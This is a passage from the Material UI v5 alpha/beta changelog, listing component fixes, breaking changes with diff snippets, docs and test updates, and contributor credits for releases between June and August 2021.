`@material-ui/core@5.0.0-beta.3`\n\n- [Modal] Restore `overflowX` and `overflowY` styles (#27487) @PCOffline\n- [Modal] Remove unnecessary check for children.props.tabIndex (#27374) @noviicee\n- [Select] Fix regression for icon not rotating (#27511) @mnajdova\n\n### `@material-ui/system@5.0.0-beta.3`\n\n- [system] Added top, left, right and bottom border color CSS properties to system (#27580) @R-Bower\n\n### `@material-ui/codemod@5.0.0-beta.3`\n\n- [codemod] Add support for `createStyles` usage in `jss-to-styled` (#27578) @mnajdova\n- [codemod] Fix `jss-to-styled` PREFIX generation on Windows (#27491) @mnajdova\n- [codemod] Fix `jss-to-styled` codemod to handle React.Fragment as root (#27495) @mnajdova\n\n### `@material-ui/unstyled@5.0.0-alpha.42`\n\n- [FormControl] Create FormControlUnstyled (#27240) @michaldudak\n- [Autocomplete] Move useAutocomplete to the Unstyled package (#27485) @michaldudak\n\n### Docs\n\n- [docs] Fix layout shift when opening hash anchor (#27619) @oliviertassinari\n- [docs] Add TypeScript guide for the `sx` prop (#27417) @mnajdova\n- [docs] Hardcode listed colors in /customization/color/#playground (#27446) @eps1lon\n- [docs] Bring back Select#onChange signature API (#27443) @eps1lon\n- [docs] Remove backticks in the title (#27567) @oliviertassinari\n- [docs] Fix 404 links (#27566) @oliviertassinari\n- [docs] Use the same h2 for the customization demos (#27569) @oliviertassinari\n- [docs] Fix syntax error in v5 migration `styled` api example (#27518) @kimbaudi\n- [docs] Improve SSR configuration with emotion (#27496) @frandiox\n- [docs] Change \"pseudo-classes\" to \"state classes\" (#27570) @michaldudak\n- [docs] Add StackBlitz edit demo integration (#27391) @sulco\n- [docs] Remove unnecessary generic argument (#27516) @bezpalko\n- [docs] Add customization demos (#27411) @siriwatknp\n- [docs] Restore initial descriptionRegExp logic (#27436) @oliviertassinari\n- [docs] Polish jss-to-styled docs (#27457) @oliviertassinari\n- [examples] Fix nextjs with styled-components example (#27583) @mnajdova\n- [examples] Update create-react-app examples with styled-components to use package aliases (#27591) @mnajdova\n- [examples] Improve integration examples with Next.js (#27331) @Harshita-Kanal\n\n### Core\n\n- [core] rebaseWhen=auto does not seem to work (#27565) @oliviertassinari\n- [core] Improve instructions for the @material-ui/styles migration (#27466) @mnajdova\n- [core] Batch small changes (#27435) @oliviertassinari\n- [core] Receive patch and minor dependency updates (#27455) @eps1lon\n- [test] Update coverage to include all @material-ui packages (#27521) @eps1lon\n- [test] Lint codemod tests (#27519) @eps1lon\n- [test] Allow tests to run for 6s before timeout (#27456) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @bezpalko, @eps1lon, @flaviendelangle, @frandiox, @Harshita-Kanal, @kimbaudi, @michaldudak, @mnajdova, @noviicee, @oliviertassinari, @PCOffline, @R-Bower, @ryancogswell, @siriwatknp, @sulco\n\n## 5.0.0-beta.2\n\n<!-- generated comparing v5.0.0-beta.1..next -->\n\n_Jul 26, 2021_\n\nA big thanks to the 20 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ We introduced new codemod for converting JSS styles to emotion (#27292) @siriwatknp\n  It should help adoption of v5, by making possible the removal of JSS sooner.\n\n- 🐛 The majority of other changes in this release were bug fixes, test utilities and docs.\n\n### `@material-ui/core@5.0.0-beta.2`\n\n- [Autocomplete] Explain how the loading prop works (#27416) @michaldudak\n- [Autocomplete] Update input value when the input changes (#27313) @turtleseason\n- [Autocomplete] Popper is not closing when the Autocomplete is disabled (#27312) @Goodiec\n- [Checkbox] Skip default hover styles with `disableRipple` (#27314) @faan234\n- [Dialog] Fix override paper styles (#27423) @newsiberian\n- [Grid] Remove width prop for rowSpacing (#27326) @sashkopavlenko\n- [Input] Merge `componentsProps` correctly (#27371) @mnajdova\n- [Pagination] Fixed usePagination requires @emotion in development mode (#27348) @ruppysuppy\n- [Pagination] Fix :hover effect on previous/next button (#27304) @Aubrey-Li\n- [Popper] Consistent timing of popper instance creation (#27233) @eps1lon\n- [Select] Add `SelectChangeEvent` for accurate types for event in onChange prop (#27370) @eps1lon\n- [Tabs] Use theme transition duration for the Tab animation (#27303) @florianbepunkt\n- [TextField] Allow custom colors in FormLabel (#27337) @oliviertassinari\n- [TextField] Fix name of componentsProps (#27338) @oliviertassinari\n- [transitions] Make sure inline styles used for transition values if declared (#27140) @eps1lon\n\n### `@material-ui/codemod@5.0.0-beta.2`\n\n- [codemod] Add `optimal-imports` for v5 (#27404) @mnajdova\n- [codemod] Add jss to emotion codemod (#27292) @siriwatknp\n- [codemod] Fix running codemod CLI on Windows (#27395) @michaldudak\n- [codemod] Fix published version (#27384) @eps1lon\n- [codemod] Improve README.md (#27257) @mnajdova\n\n### `@material-ui/unstyled@5.0.0-alpha.41`\n\n- [NoSsr] Move NoSsr to the Unstyled package (#27356) @michaldudak\n\n### `@material-ui/utils@5.0.0-beta.1`\n\n- [utils] Convert createChainedFunction to TypeScript (#27386) @eps1lon\n\n### `@material-ui/system@5.0.0-beta.2`\n\n- [system] Compute display name of `styled` component if `name` isn't set (#27401) @eps1lon\n- [system] Adds missing type for `shouldForwardProp` (#27310) @KLubin1\n\n### `@material-ui/lab@5.0.0-alpha.41`\n\n- [pickers] Only accept dates from adapters in min/max props (#27392) @eps1lon\n- [pickers] Fallback to today if all possible dates are disabled (#27294) @eps1lon\n- [pickers] Minify error when LocalizationProvider is missing (#27295) @eps1lon\n- [pickers] Fix Fade animation behavior change (#27283) @oliviertassinari\n\n### Docs\n\n- [docs] Display Popper arrow correctly (#27339) @Patil2099\n- [docs] Focus pickers introduction on Material UI (#27394) @eps1lon\n- [docs] Fix wrong import path in @material-ui/styles section (#27427) @WeldonTan\n- [docs] Update color imports (#27321) @siriwatknp\n- [docs] Sync params of callbacks between types and JSDoc description (#27366) @eps1lon\n- [docs] Add migration note for synthetic native events in onChange (#27368) @eps1lon\n- [docs] Improve unstyled docs (#27382) @oliviertassinari\n- [docs] Update `Transitions` page (#27319) @siriwatknp\n- [docs] Add Unstyled components docs page (#27158) @michaldudak\n- [docs] Fix app bar regression (#27373) @mnajdova\n- [docs] Update migration guide to have a section on nested classes (#27354) @mnajdova\n- [docs] Convert App\\* components to emotion (#27150) @eps1lon\n- [docs] Fix duplicate \"Theme\" header (#27353) @eps1lon\n- [docs] Remove horizontal scrollbar in MiniDrawer (#27055) @AlvesJorge\n- [docs] Add `makeStyles` explanation in troubleshooting (#27322) @siriwatknp\n- [docs] Fix ExpansionPanel migration notes (#27352) @eps1lon\n- [docs] Transpile markdown files (#27349) @eps1lon\n- [docs] Fix typo in the word typography (#27329) @tudi2d\n- [docs] Use actual symbol of kilogram (#27332) @getsnoopy\n- [docs] Make migration doc easier to follow (#26948) @siriwatknp\n- [examples] Cleanup `gatsby` examples (#27375) @mnajdova\n- [examples] Create nextjs example using styled-components (#27088) @hboylan\n- [examples] Update gatsby example to use custom plugin (#27357) @mnajdova\n\n### Core\n\n- [core] Remove obsolete styles documentation (#27350) @eps1lon\n- [core] Fix GitHub language detection (#27298) @oliviertassinari\n- [test] Include coverage report of browser tests (#27389) @eps1lon\n- [test] Add current behavior for getDisplayName with context components (#27402) @eps1lon\n- [test] Enable skipped picker tests (#27268) @eps1lon\n\nAll contributors of this release in alphabetical order: @AlvesJorge, @Aubrey-Li, @eps1lon, @faan234, @florianbepunkt, @g\netsnoopy, @Goodiec, @hboylan, @KLubin1, @michaldudak, @mnajdova, @newsiberian, @oliviertassinari, @Patil2099, @ruppysupp\ny, @sashkopavlenko, @siriwatknp, @tudi2d, @turtleseason, @WeldonTan\n\n## 5.0.0-beta.1\n\n<!-- generated comparing v5.0.0-beta.0..next -->\n\n_Jul 14, 2021_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ We have introduced a new unstyled component: the Switch (#26688) @michaldudak\n  You can find two new versions of the Switch. A component without any styles: [`SwitchUnstyled`](https://mui.com/components/switches/#unstyled), and a hook: [`useSwitch`](https://mui.com/components/switches/#useswitch-hook).\n\n  <a href=\"https://mui.com/components/switches/#unstyled\"><img width=\"832\" alt=\"switch\" src=\"https://user-images.githubusercontent.com/3165635/125192249-236f8a80-e247-11eb-9df9-17d476379a32.png\"></a>\n\n  You can follow our progress at https://github.com/mui/base-ui/issues/10.\n\n- 💄 We have updated the default `info` `success` `warning` color to be more accessible (#26817) @siriwatknp.\n  You can find the new [default values](https://mui.com/material-ui/customization/palette/#default-values) in the documentation.\n\n  <a href=\"https://mui.com/customization/palette/#default-values\"><img width=\"780\" alt=\"colors\" src=\"https://user-images.githubusercontent.com/3165635/125192657-4864fd00-e249-11eb-9dc1-44857b25b3b8.png\"></a>\n\n### `@material-ui/core@5.0.0-beta.1`\n\n#### Breaking changes\n\n- [Fab] Remove no longer necessary span wrapper (#27112) @siriwatknp\n- [ToggleButton] Remove no longer necessary span wrapper (#27111) @siriwatknp\n\n#### Changes\n\n- [Autocomplete] Add componentsProps (#27183) @michal-perlakowski\n- [Avatar] Fix support for crossOrigin (#27013) @ShirasawaSama\n- [ButtonBase] Correct `disableRipple` API description (#27187) @michaldudak\n- [ButtonGroup] Add color palette types (#27215) @ShirasawaSama\n- [SwitchBase] Bring back `checked` and mark as deprecated (#27047) @siriwatknp\n- [TextField] Remove redundant useFormControl implementation (#27197) @michaldudak\n- [theme] Add missing MuiRating types to components.d.ts (#27086) @rajzik\n- [theme] Remove `createV4Spacing` from `adaptV4Theme` (#27072) @siriwatknp\n- [theme] Update default `info` `success` `warning` color (#26817) @siriwatknp\n- [ToggleButton] Add color palette types (#27046) @ShirasawaSama\n- [ToggleButton] Fix the api page (#27164) @oliviertassinari\n\n### `@material-ui/unstyled@5.0.0-alpha.40`\n\n- [Switch] Create SwitchUnstyled and useSwitch (#26688) @michaldudak\n\n### `@material-ui/codemod@5.0.0-beta.1`\n\n- [codemod] Add v5 important migration (#27032) @siriwatknp\n- [codemod] Fix v5 codemods on Windows (#27254) @michaldudak\n\n### `@material-ui/system@5.0.0-beta.1`\n\n- [Box] Add breakpoint value support to maxWidth prop (#26984) @ansh-saini\n\n### `@material-ui/lab@5.0.0-alpha.40`\n\n- [CalendarPicker] Fix slide transition regression (#27273) @eps1lon\n- [CalendarPicker] Use transition components from core instead of a custom implementation (#27043) @eps1lon\n- [pickers] Fix default value of text keys (#26990) @oliviertassinari\n- [TimePicker] Change default minutes and seconds to zero (#27037) @michal-perlakowski\n\n### Docs\n\n- [blog] Q2 2021 Update (#27089) @oliviertassinari\n- [docs] Add information that the label prop in FormControlLabel is now @michal-perlakowski\n- [docs] Don't crash page if an Ad crashes (#27178) @eps1lon\n- [docs] Fix alt description of movavi backer @oliviertassinari\n- [docs] Fix import source of hidden component (#27116) @vimutti77\n- [docs] Fix layout regression (#27272) @oliviertassinari\n- [docs] Fix syntax error in /styles/api markdown (#27176) @sahil-blulabs\n- [docs] Fix the link for the sx props page (#27202) @mnajdova\n- [docs] Fix theme context example code (#27053) @moshfeu\n- [docs] Fix typo in CONTRIBUTING.md (#27218) Ayush Dubey\n- [docs] Fix typos (#27074) @michaldudak\n- [docs] Improve nav semantics (#27138) @eps1lon\n- [docs] Migrate Ad\\* components to emotion (#27159) @mnajdova\n- [docs] Migrate rest of the docs to emotion (#27184) @mnajdova\n- [docs] Move versions from \\_app PageContext to page-specific context (#27078) @eps1lon\n- [docs] Only bundle one version of the demos in production (#27020) @eps1lon\n- [docs] Reduce layout shift on landing page (#27251) @eps1lon\n- [docs] Remove Ethical Ads (#27173) @mbrookes\n- [docs] Remove unused fs polyfill (#27069) @eps1lon\n- [docs] Remove usage of `url` package (#27151) @eps1lon\n- [docs] Replace react-text-mask with react-imask in integration example (#27071) @michal-perlakowski\n- [docs] Sort the size in a more logical order (#27186) @oliviertassinari\n- [docs] Use actual link to paperbase (#27063) @eps1lon\n- [docs] Use custom markdown loader for landing page (#27065) @eps1lon\n- [docs] Use webpack 5 (#27077) @eps1lon\n- [examples] Fix CDN warning (#27229) @oliviertassinari\n- [examples] Remove `StyledEngineProvider` as JSS is not used (#27133) @mnajdova\n- [examples] Remove forgotten StyledEngineProvider (#27163) @oliviertassinari\n\n### Core\n\n- [core] Batch small changes (#26970) @oliviertassinari\n- [core] Configure Renovate (#27003) @renovate[bot]\n- [core] Migrate remaining mentions of Dependabot to Renovate (#27118) @eps1lon\n- [core] Run yarn deduplicate on Renovate updates (#27115) @eps1lon\n- [test] Document broken React 18 behavior of Autocomplete (#27242) @eps1lon\n- [test] Increase BS timeout to 6min (#27179) @oliviertassinari\n- [test] Migrate regressions to emotion (#27010) @vicasas\n- [test] Narrow down React 18 compat issues (#27134) @eps1lon\n- [test] Remove StyledEngineProvider usage from regressions and e2e test @mnajdova\n- [test] Run React 18 integration tests with new createRoot API (#26672) @eps1lon\n- [test] Update tests with latest state of StrictMode compatibility (#27042) @eps1lon\n- [test] Use DOM events instead of mocked, partial events (#27198) @eps1lon\n- [blog] Danilo Leal joins Material UI (#27231) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @eps1lon, @mbrookes, @michal-perlakowski, @michaldudak, @mnajdova, @moshfeu, @oliviertassinari, @rajzik, @renovate[bot], @sahil-blulabs, @ShirasawaSama, @siriwatknp, @vimutti77\n\n## 5.0.0-beta.0\n\n<!-- generated comparing v5.0.0-alpha.38..next -->\n\n_Jul 01, 2021_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n- 🎉 This is the first beta release of v5! A huge thanks to everyone who helped to make this happen! We're targeting the 1st of September for a stable release, and will use the next two months to polish v5, and ease the migration from v4. You can follow [the v5 stable milestone](https://github.com/mui/material-ui/milestone/44) for more details. We now encourage any new projects to start on v5.\n- 🚀 We have completed all the planned breaking changes.\n- ⚒️ We added the codemod CLI to simplify migration to v5 (#26941) @eps1lon. You can find it at [`@material-ui/codemod`](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod).\n- 🐛 The majority of other changes in this release were bug fixes, test utilities and docs.\n\n### `@material-ui/core@5.0.0-beta.0`\n\n#### Breaking changes\n\n- [Tabs] Remove unnecessary wrapper from Tab (#26926) @siriwatknp\n\n  `span` element that wraps children has been removed. `wrapper` classKey is also removed. More details about [this change](https://github.com/mui/material-ui/pull/26666).\n\n  ```diff\n   <button class=\"MuiTab-root\">\n  -  <span class=\"MuiTab-wrapper\">\n      {icon}\n      {label}\n  -  </span>\n   </button>\n  ```\n\n- [BottomNavigation] Remove wrapper from BottomNavigationAction (#26923) @siriwatknp\n\n  `span` element that wraps children has been removed. `wrapper` classKey is also removed. More details about [this change](https://github.com/mui/material-ui/pull/26666).\n\n  ```diff\n   <button class=\"MuiBottomNavigationAction-root\">\n  -  <span class=\"MuiBottomNavigationAction-wrapper\">\n       {icon}\n       <span class=\"MuiBottomNavigationAction-label\">\n         {label}\n       </span>\n  -  </span>\n   </button>\n  ```\n\n#### Changes\n\n- [Box] Fix TypeScript error on maxWidth prop (#26859) @ansh-saini\n- [Dialog] Automatically label by its DialogTitle (#26814) @eps1lon\n- [Hidden] Bring back and mark as deprecated (#26908) @siriwatknp\n- [List] Add button runtime deprecation warning (#26743) @siriwatknp\n- [Modal] Type BackdropProps according to styled version (#26836) @eps1lon\n- [Radio] Fix `defaultValue` to match the other value types (#26945) @oliviertassinari\n- [Stepper] Add completed to global pseudo-classes (#26953) @michal-perlakowski\n- [Stepper] Fix support for no connectors (#26874) @varandasi\n- [TextField] Prevent `hiddenLabel` from spreading to DOM (#26864) @siriwatknp\n- [TextField] Fix label disappearing when focusing a button (#26933) @michal-perlakowski\n\n### `@material-ui/codemod@5.0.0-beta.0`\n\n- [codemod] Add CLI (#26941) @eps1lon\n\n### @material-ui/icons@5.0.0-beta.0\n\n- [icons] Regenerate transpiled files (#26985) @eps1lon\n\n### @material-ui/lab@5.0.0-alpha.39\n\n#### Breaking changes\n\n- [DatePicker] Remove helper text default value (#26866) @DouglasPds\n\n  Make the default rendered text field closer to the most common use cases (denser).\n\n  ```diff\n   <DatePicker\n     label=\"Helper text example\"\n     value={value}\n     onChange={onChange}\n     renderInput={(params) => (\n  -    <TextField {...params} />\n  +    <TextField {...params} helperText={params?.inputProps?.placeholder} />\n     )}\n   >\n  ```\n\n#### Changes\n\n- [lab] Fix missing dependency on unstyled (#26937) @fishyFrogFace\n- [pickers] Consider TDate in ToolbarComponent types (#27035) @michal-perlakowski\n\n### `@material-ui/system@5.0.0-beta.0`\n\n- [system] Support array overridesResolver (#26824) @siriwatknp\n\n### Docs\n\n- [docs] Add notes to Table demo about stableSort (#27025) @CarlosGomez-dev\n- [docs] Add gold sponsor (#26968) @oliviertassinari\n- [docs] Update unstyled demos to not depend on `@material-ui/core` (#26869) @mnajdova\n- [docs] Fix demo paths in windows (#27004) @eps1lon\n- [docs] Export all locales (#27002) @eps1lon\n- [docs] Misc CONTRIBUTING.md changes (#26925) @eps1lon\n- [docs] Fix /components/hidden merge conflict (#26997) @eps1lon\n- [docs] Fix 404 links (#26963) @oliviertassinari\n- [docs] Remove link that points to v4 blog post (#26960) @steveafrost\n- [docs] Use custom webpack loader for markdown (#26774) @eps1lon\n- [docs] Fix 301 links (#26942) @oliviertassinari\n- [docs] Add page for the `sx` prop (#26769) @mnajdova\n- [docs] pre-fill issue when a demo crashes (#27034) @eps1lon\n- [docs] Move styled page under system (#26818)\n\n### Core\n\n- [core] Inline rollup-plugin-size-snapshot (#26986) @eps1lon\n- [core] Remove unused props clone (#26992) @oliviertassinari\n- [core] Fix tests on Windows (#26931) @michaldudak\n- [core] Fix merge conflict between #26954 and #26874 @oliviertassinari\n- [core] Upgrade issues-helper to v2 (#26955) @michal-perlakowski\n- [core] Fix merge conflict (#26928) @eps1lon\n- [test] Convert HiddenCSS tests to testing-library (#27019) @eps1lon\n- [test] Convert NativeSelectInput tests to testing-library (#26952) @eps1lon\n- [test] Add a default mount implementation to conformance tests (#26949) @eps1lon\n- [test] Update tests to pass react@next (#26967) @eps1lon\n- [test] Add types to describeConformanceV5 (#26954) @eps1lon\n- [test] Use createPickerMount where appropriate (#26951) @eps1lon\n- [test] Convert SwipeableDrawer tests to testing-library (#26916) @eps1lon\n- [test] Convert Menu tests to testing-library (#26915) @eps1lon\n- [test] Convert Popover tests to testing-library (#26913) @eps1lon\n- [test] Convert Modal tests to testing-library (#26912) @eps1lon\n- [test] Make remaining testing-library tests StrictMode compatible (#26924) @eps1lon\n- [test] Only allow wrapping enzyme mount not creating (#27018) @eps1lon\n- [typescript] Disallow spreading TransitionHandlerProps (#26927) @eps1lon\n\nAll contributors of this release in alphabetical order: @ansh-saini, @BC-M, @CarlosGomez-dev, @DouglasPds, @eps1lon, @fishyFrogFace, @michal-perlakowski, @michaldudak, @mnajdova, @oliviertassinari, @siriwatknp, @steveafrost, @varandasi\n\n## 5.0.0-alpha.38\n\n<!-- generated comparing v5.0.0-alpha.37..next -->\n\n_Jun 23, 2021_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 We have only 2 left in the [breaking changes](https://github.com/mui/material-ui/issues/20012). The plan to release 5.0.0-beta.0 is on July 1st and will start to promote its usage over v4.\n- 🎨 We have updated `Slider` to match current [Material Design guidelines](https://m2.material.io/components/sliders).\n\n  <a href=\"https://mui.com/components/slider/#continuous-sliders\"><img width=\"247\" alt=\"\" src=\"https://user-images.githubusercontent.com/3165635/121884800-a8808600-cd13-11eb-8cdf-e25de8f1ba73.png\" style=\"margin: auto\"></a>\n\n- 💡 `IconButton` now supports 3 sizes (`small, medium, large`). [See demo](https://mui.com/components/buttons/#sizes-2).\n- ♿️ We have improved the default style of the `Link` to be more accessible (#26145) @ahmed-28\n\n  <a href=\"https://mui.com/components/links/\"><img width=\"543\" alt=\"\" src=\"https://user-images.githubusercontent.com/3165635/123097983-ef1b6200-d430-11eb-97da-b491fba5df49.png\"></a>\n\n### `@material-ui/core@5.0.0-alpha.38`\n\n#### Breaking changes\n\n- [Menu] Use ButtonBase in MenuItem (#26591) @siriwatknp\n  - Change the default value of `anchorOrigin.vertical` to follow the Material Design guidelines. The menu now displays below the anchor instead of on top of it. You can restore the previous behavior with:\n\n    ```diff\n     <Menu\n    +  anchorOrigin={{\n    +    vertical: 'top',\n    +    horizontal: 'left',\n    +  }}\n    ```\n\n  - The `MenuItem` component inherits the `ButtonBase` component instead of `ListItem`. The class names related to \"MuiListItem-\\*\" are removed and theming `ListItem` is no longer affecting `MenuItem`.\n\n    ```diff\n    -<li className=\"MuiButtonBase-root MuiMenuItem-root MuiListItem-root\">\n    +<li className=\"MuiButtonBase-root MuiMenuItem-root\">\n    ```\n\n  - The prop `listItemClasses` was removed, you can use `classes` instead.\n\n    ```diff\n    -<MenuItem listItemClasses={{...}}>\n    +<MenuItem classes={{...}}>\n    ```\n\n- [theme] Improve default breakpoints (#26746) @siriwatknp\n\n  The default breakpoints were changed to better match the common use cases. They also better match the Material Design guidelines. [Read more about the change](https://github.com/mui/material-ui/issues/21902).\n\n  ```diff\n   {\n     xs: 0,\n     sm: 600,\n  -  md: 960,\n  +  md: 900,\n  -  lg: 1280,\n  +  lg: 1200,\n  -  xl: 1920,\n  +  xl: 1536,\n   }\n  ```\n\n  If you prefer the old breakpoint values, use the snippet below.\n\n  ```js\n  import { createTheme } from '@material-ui/core/styles';\n\n  const theme = createTheme({\n    breakpoints: {\n      values: {\n        xs: 0,\n        sm: 600,\n        md: 960,\n        lg: 1280,\n        xl: 1920,\n      },\n    },\n  });\n  ```\n\n- [IconButton] Add size `large` and update styles (#26748) @siriwatknp\n\n  The default size's padding is reduced to `8px` which makes the default IconButton size of `40px`. To get the old default size (`48px`), use `size=\"large\"`. The change was done to better match Google's products when Material Design stopped documenting the icon button pattern.\n\n  ```diff\n  - <IconButton>\n  + <IconButton size=\"large\">\n  ```\n\n- [Slider] Adjust css to match the specification (#26632) @siriwatknp\n\n  Rework the CSS to match the latest [Material Design guidelines](https://m2.material.io/components/sliders) and make custom styles more intuitive. [See documentation](https://mui.com/components/slider/).\n\n  <a href=\"https://mui.com/components/slider/#continuous-sliders\"><img width=\"247\" alt=\"\" src=\"https://user-images.githubusercontent.com/3165635/121884800-a8808600-cd13-11eb-8cdf-e25de8f1ba73.png\" style=\"margin: auto\"></a>\n\n  You can reduce the density of the slider, closer to v4 with the [`size=\"small\"` prop](https://mui.com/components/slider/#sizes).\n\n  <a href=\"https://mui.com/components/slider/#sizes\"><img width=\"330\" alt=\"\" src=\"https://user-images.githubusercontent.com/3165635/123076549-8aa0d880-d419-11eb-8835-06cd2b21b2d3.png\" style=\"margin: auto\"></a>\n\n- [IconButton] Remove label span (#26801) @siriwatknp\n\n  `span` element that wraps children has been removed. `label` classKey is also removed. More details about [this change](https://github.com/mui/material-ui/pull/26666).\n\n  ```diff\n   <button class=\"MuiIconButton-root\">\n  -  <span class=\"MuiIconButton-label\">\n       <svg />\n  -  </span>\n   </button>\n  ```\n\n- [core] Remove `unstable_` prefix on the `useThemeProps` hook (#26777) @mnajdova\n\n  The following utilities were renamed to not contain the `unstable_` prefix:\n  - `@material-ui/sytstem`\n\n  ```diff\n   import {\n  -  unstable_useThemeProps,\n  +  useThemeProps,\n   } from '@material-ui/system';\n  ```\n\n  - `@material-ui/core`\n\n  ```diff\n   import {\n  -  unstable_useThemeProps,\n  +  useThemeProps,\n   } from '@material-ui/core/styles';\n  ```\n\n#### Changes\n\n- [Alert] Add support for custom colors (#26831) @varandasi\n- [Button] Fix loading text invisible when disabled (#26857) @DanielBretzigheimer\n- [ButtonBase] Consider as a link with a custom component and `to` prop (#26576) @shadab14meb346\n- [ButtonBase] Derive state on render instead of in layout effects (#26762) @eps1lon\n- [Drawer] Fix incorrect z-index (#26791) @michal-perlakowski\n- [Drawer] Remove incorrect transition handler props (#26835) @eps1lon\n- [Link] Improve accessibility support (#26145) @ahmed-28\n- [Modal] Fix calculating scrollbar size when using custom scrollbar (#26816) @michal-perlakowski\n- [Rating] Make input ids less predictable (#26493) @eps1lon\n- [Stepper] Add componentsProps.label to StepLabel (#26807) @michal-perlakowski\n- [Tabs] Show error when Tab has display: none (#26783) @michal-perlakowski\n- [theme] Add base color palette type to components (#26697) @siriwatknp\n\n### `@material-ui/system@5.0.0-alpha.38`\n\n#### Breaking Changes\n\n- [system] Normalize api for `createBox` (#26820) @mnajdova\n\n  ```diff\n   import { createBox } from '@material-ui/system';\n\n  -const styled = createBox(defaultTheme);\n  +const styled = createBox({ defaultTheme });\n  ```\n\n#### Changes\n\n- [system] Add ThemeProvider component (#26787) @mnajdova\n\n### Docs\n\n- [docs] Fix misspelling of the word Typography (#26898) @dmrqx\n- [docs] Instruct users to install @material-ui/icons with the next tag (#26873) @michal-perlakowski\n- [docs] Sync translations (#26828) @l10nbot\n- [docs] Improve grammar of autocomplete/autofill section (#26798) @dijonkitchen\n- [docs] Explain \"inherited props\" better in the props table (#26778) @eps1lon\n- [docs] Fix documentation for upgrading to v5 (#26812) @tungdt-90\n- [docs] Improve notification color (#26796) @mnajdova\n- [docs] Fix various a11y issues with /customization/color (#26757) @eps1lon\n- [docs] Move custom theme to frame (#26744) @siriwatknp\n- [docs] Fix small PT typo fix: inciar -> iniciar (#26775) @brunocavalcante\n- [I10n] Add Chinese (Hong Kong) (zh-HK) locale (#26637) @kshuiroy\n- [l10n] Add sinhalese (siLK) locale (#26875) @pavinduLakshan\n- [examples] Rename Next.js TypeScript theme from tsx to ts (#26862) @Izhaki\n\n### Core\n\n- [test] Fix Drawer test API @oliviertassinari\n- [test] Adjust expected useAutocomplete error messages for React 18 (#26858) @eps1lon\n- [test] Convert Drawer tests to testing-library (#26837) @eps1lon\n- [test] Convert remaining enzyme tests to testing-library (#26832) @eps1lon\n- [test] Ignore ReactDOM.hydrate deprecation warnings (#26815) @eps1lon\n- [test] Reduce flakiness (#26761) @eps1lon\n- [useId] Reduce likelyhood of collisions (#26758) @eps1lon\n- yarn deduplicate @oliviertassinari\n- Fix running framer's prettier under pwsh (#26819) @michaldudak\n- [core] Update babel-plugin-optimize-clsx (#26861) @oliviertassinari\n- [core] Assume no document.all at runtime (#26821) @eps1lon\n- [core] Remove dependency on `@material-ui/private-theming` (#26793) @mnajdova\n- [core] Remove dependency on `@material-ui/styled-engine` (#26792) @mnajdova\n\nAll contributors of this release in alphabetical order: @ahmed-28, @brunocavalcante, @DanielBretzigheimer, @dijonkitchen, @dmrqx, @eps1lon, @Izhaki, @kshuiroy, @l10nbot, @michal-perlakowski, @michaldudak, @mnajdova, @oliviertassinari, @pavinduLakshan, @shadab14meb346, @siriwatknp, @tungdt-90, @varandasi\n\n## 5.0.0-alpha.37\n\n<!-- generated comparing v5.0.0-alpha.36..next -->\n\n_Jun 15, 2021_\n\nA big thanks to the 11 contributors who made this release possible. Here are some highlights ✨:\n\n- 💄 Add support for responsive props on the Grid component (#26590) @likitarai1.\n  This fixes a longstanding issue. You can now specify different values for each breakpoint.\n\n  ```jsx\n  <Grid container spacing={{ xs: 2, md: 3 }} columns={{ xs: 1, sm: 2, md: 3 }}>\n    <Grid item xs={2} sm={4} md={4} />\n    <Grid item xs={2} sm={4} md={4} />\n    <Grid item xs={2} sm={4} md={4} />\n  </Grid>\n  ```\n\n  Head to the [documentation](https://mui.com/components/grid/#responsive-values) for more details.\n\n- ⚒️ We've introduced a new `useTheme` and `useThemeProps` hooks in the `@material-ui/system` package.\n  We believe that this package can be used as a standalone styling solution for building custom design systems (#26649) @mnajdova.\n- 💥 Made progress with the breaking changes. We have done 105 of the 109 changes [planned](https://github.com/mui/material-ui/issues/20012). We are getting closer to our goal of releasing 5.0.0-beta.0 on July 1st and start to promote its usage over v4. You can also follow [our milestone](https://github.com/mui/material-ui/milestone/35) for more details.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.37`\n\n#### Breaking changes\n\n- [Button] Remove label span (#26666) @siriwatknp\n\n  The `span` element that wraps children has been removed. `label` classKey is also removed. The nested span was required for fixing a flexbox issue with iOS < 11.0.\n\n  ```diff\n   <button class=\"MuiButton-root\">\n  -  <span class=\"MuiButton-label\">\n       children\n  -  </span>\n   </button>\n  ```\n\n#### Changes\n\n- [Button] Add missing color type (#26593) @sakura90\n- [Grid] Add responsive direction and spacing props (#26590) @likitarai1\n- [List] Add ListItemButton export to index (#26667) @chadmuro\n- [theme] Fix missing exported Breakpoints types (#26684) @robphoenix\n\n### `@material-ui/system@5.0.0-alpha.37`\n\n#### Breaking changes\n\n- [system] Remove `theme` & `isRtl` from `useThemeProps` (#26701) @mnajdova\n\n  The `isRtl` and `theme` props are no longer added by the `useThemeProps` hook. You can use the `useTheme` hook for this.\n\n  ```diff\n  -import { unstable_useThemeProps as useThemeProps } from '@material-ui/core/styles';\n  +import { unstable_useThemeProps as useThemeProps, useTheme } from '@material-ui/core/styles';\n\n   const Component = (inProps) => {\n  -  const { isRtl, theme, ...props } = useThemeProps({ props: inProps, name: 'MuiComponent' });\n  +  const props = useThemeProps({ props: inProps, name: 'MuiComponent' });\n\n  +  const theme = useTheme();\n  +  const isRtl = theme.direction === 'rtl';\n     //.. rest of the code\n   }\n  ```\n\n#### Changes\n\n- [system] Add useThemeProps & useTheme hooks (#26649) @mnajdova\n- [system] Add color manipulators (#26668) @mnajdova\n- [system] Fix support of custom shape in createTheme (#26673) @varandasi\n\n### `@material-ui/unstyled@5.0.0-alpha.37`\n\n- [Slider] Improve TS definition (#26642) @mnajdova\n- [FocusTrap] Capture nodeToRestore via relatedTarget (#26696) @eps1lon\n\n### `@material-ui/icons@5.0.0-alpha.37`\n\n- Revert \"[icons] Only ship ES modules (#26310)\" (#26656) @eps1lon\n\n  The changes that we have tried in #26310 were breaking the integration with Next.js.\n\n### `@material-ui/lab@5.0.0-alpha.37`\n\n- [core] Remove unused useKeyDown (#26765) @eps1lon\n- 